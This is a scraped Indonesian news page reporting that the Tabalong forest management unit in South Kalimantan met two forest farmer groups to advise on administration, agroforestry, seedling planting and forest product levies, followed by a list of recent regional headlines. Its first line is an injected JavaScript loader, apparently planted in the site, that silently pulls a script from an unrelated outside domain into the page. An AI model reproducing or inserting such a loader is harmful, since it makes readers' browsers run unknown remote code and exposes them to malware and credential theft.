(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

KPH Tabalong Lakukan Pembinaan Dua KTH


BANJARBARU, Pemegang izin perhutanan sosial diharapkan dapat melakukan operasionalisasi terhadap izin-izin yang sudah diberikan melalui pengembangakan usaha produktif dengan membentuk KUPS-KUPS sesuai dengan potensi wilayah izinnya. Hal ini agar bisa memberikan kesejahteraan masyarakat sekitar hutan sesuai dengan salah satu indikator Dinas kehutanan Provinsi Kalimantan Selatan yaitu peningkatan kesejahteraan masyarakat.

Dalam rangka percepatan Perhutanan Sosial, Tim percepatan Perhutanan Sosial KPH Tabalong bergerak melaksanakan kegiatan pembinaan dan pengembangan ke KTH Watu Murung di Desa Kinarum Kecamatan Upau dan KTH Penepeh Lestari di Desa Kaong Kecamatan Upau.

Dalam pertemuan Tim dari KPH Tabalong memberikan materi pembinaan KTH dengan pembenahan administrasi KTH dan Pengelolaan Jasling, agar kegiatan dapat dimonitor secara administrasi dan pengelolaan keuangannya.

Anggota KTH Watu Marung mendukung Program Revjo dengan kegiatan KTH Menanam, dalam pertemuan juga disampaikan oleh TKPH mengenai program” pemerintah sekarang yg sdh drasakan oleh masyarakat, khususnya kegiatan pembangunan Kehutanan.

Selanjutnya dilakukan pertemuan dengan KTH Penepeh Lestari, pada KTH tersebut sudahhhh ada kegiatan Agroforestry seluas 30 Ha dan KTH menanam sebanyak 5000 Bibit Sengon. Dalam pertemuan dengan KTH Penepeh Lestari Tim mensosialisasikan Permenlhk No. P. 71 tahun 2016 tentang Tata Cara Pengenaan, Pemungutan dan Penyetoran PSDH, DR, Ganti Rugi Tegakan, Denda Pelanggaran Eksplotasi Hutan dan Iuaran Izin Usaha, Permen Kehutanan No : P. 68 tahun 2014 tentang Penetapan Harga Patokan Hasil Hutan Untuk Perhitungan PSDH, DR, Ganti Rugi Tegakan dan Penggantian Nilai Tegakan dan PP No. 12 thn 2014 tentang Jenis dan Tarif Atas Jenis Penerimaan Negara Bukan Pajak Yang Berlaku pada Kementetian Kehutanan.

Anggota KTH Penepeh Lestari tidak keberatan jika nantinya hasil hutan yang mereka kelola (tanaman sengon) akan kita kenakan tarif PNBP setelah mereka panen, mereka mendukung program pemerintah khususnya dalam pembangunan kehutanan di KPH Tabalong pada khususnya dan Kalsel pada umumnya.(dishut)

Reporter : Dishutprovkalsel
Editor : Chell

Desy Arfianty

Recent Posts

Inovasi Jemput Bola untuk Kesejahteraan Sosial di Pelosok Kecamatan Halong

KANALKALIMANTAN.COM, PARINGIN - Geografis pegunungan dan keterbatasan akses internet tidak menjadi penghalang bagi warga Kecamatan… Read More

49 menit ago

Satgas PKH Ambil Alih 1.699 Hektare Lahan Tambang Eks PT AKT di Murung Raya

KANALKALIMANTAN.COM, PURUK CAHU - Satuan Tugas Penertiban Kawasan Hutan (Satgas PKH) resmi mengambil alih dan… Read More

3 jam ago

Temuan 4,09 Juta Hektare Perkebunan Sawit, DPR Soroti Tata Kelola Hutan

KANALKALIMANTAN.COM, JAKARTA - Komisi II DPR menyoroti tata kelola kawasan hutan menyusul temuan Satuan Tugas… Read More

3 jam ago

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

19 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

22 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

1 hari ago

This website uses cookies.